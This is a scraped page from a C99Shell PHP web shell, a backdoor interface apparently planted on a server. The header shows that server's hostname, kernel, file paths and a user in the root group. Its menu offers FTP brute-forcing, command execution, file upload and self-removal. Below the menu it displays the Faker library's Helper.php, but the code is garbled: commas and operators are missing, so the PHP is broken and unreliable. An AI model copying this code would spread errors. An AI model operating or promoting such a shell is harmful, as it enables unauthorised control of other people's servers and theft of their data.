!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio.picotech.app/public_html/vendor/fakerphp/faker/src/Faker/Extension/   drwxr-xr-x
Free 28.73 GB of 117.98 GB (24.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Helper.php (3.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\Extension;

/**
 * A class with some methods that may make building extensions easier.
 *
 * @experimental This class is experimental and does not fall under our BC promise
 */
final class Helper
{
    
/**
     * Returns a random element from a passed array.
     */
    
public static function randomElement(array $array)
    {
        if (
$array === []) {
            return 
null;
        }

        return 
$array[array_rand($array1)];
    }

    
/**
     * Replaces all hash sign ('#') occurrences with a random number
     * Replaces all percentage sign ('%') occurrences with a non-zero number.
     *
     * @param string $string String that needs to bet parsed
     */
    
public static function numerify(string $string): string
    
{
        
// instead of using randomDigit() several times, which is slow,
        // count the number of hashes and generate once a large number
        
$toReplace = [];

        if ((
$pos strpos($string'#')) !== false) {
            for (
$i $pos$last strrpos($string'#'$pos) + 1$i $last; ++$i) {
                if (
$string[$i] === '#') {
                    
$toReplace[] = $i;
                }
            }
        }

        if (
$nbReplacements count($toReplace)) {
            
$maxAtOnce strlen((string) mt_getrandmax()) - 1;
            
$numbers '';
            
$i 0;

            while (
$i $nbReplacements) {
                
$size min($nbReplacements $i$maxAtOnce);
                
$numbers .= str_pad((string) mt_rand(010 ** $size 1), $size'0'STR_PAD_LEFT);
                
$i += $size;
            }

            for (
$i 0$i $nbReplacements; ++$i) {
                
$string[$toReplace[$i]] = $numbers[$i];
            }
        }

        return 
self::replaceWildcard($string'%', static function () {
            return 
mt_rand(19);
        });
    }

    
/**
     * Replaces all question mark ('?') occurrences with a random letter.
     *
     * @param string $string String that needs to bet parsed
     */
    
public static function lexify(string $string): string
    
{
        return 
self::replaceWildcard($string'?', static function () {
            return 
chr(mt_rand(97122));
        });
    }

    
/**
     * Replaces hash signs ('#') and question marks ('?') with random numbers and letters
     * An asterisk ('*') is replaced with either a random number or a random letter.
     *
     * @param string $string String that needs to bet parsed
     */
    
public static function bothify(string $string): string
    
{
        
$string self::replaceWildcard($string'*', static function () {
            return 
mt_rand(01) === '#' '?';
        });

        return 
self::lexify(self::numerify($string));
    }

    private static function 
replaceWildcard(string $stringstring $wildcard, callable $callback): string
    
{
        if ((
$pos strpos($string$wildcard)) === false) {
            return 
$string;
        }

        for (
$i $pos$last strrpos($string$wildcard$pos) + 1$i $last; ++$i) {
            if (
$string[$i] === $wildcard) {
                
$string[$i] = call_user_func($callback);
            }
        }

        return 
$string;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--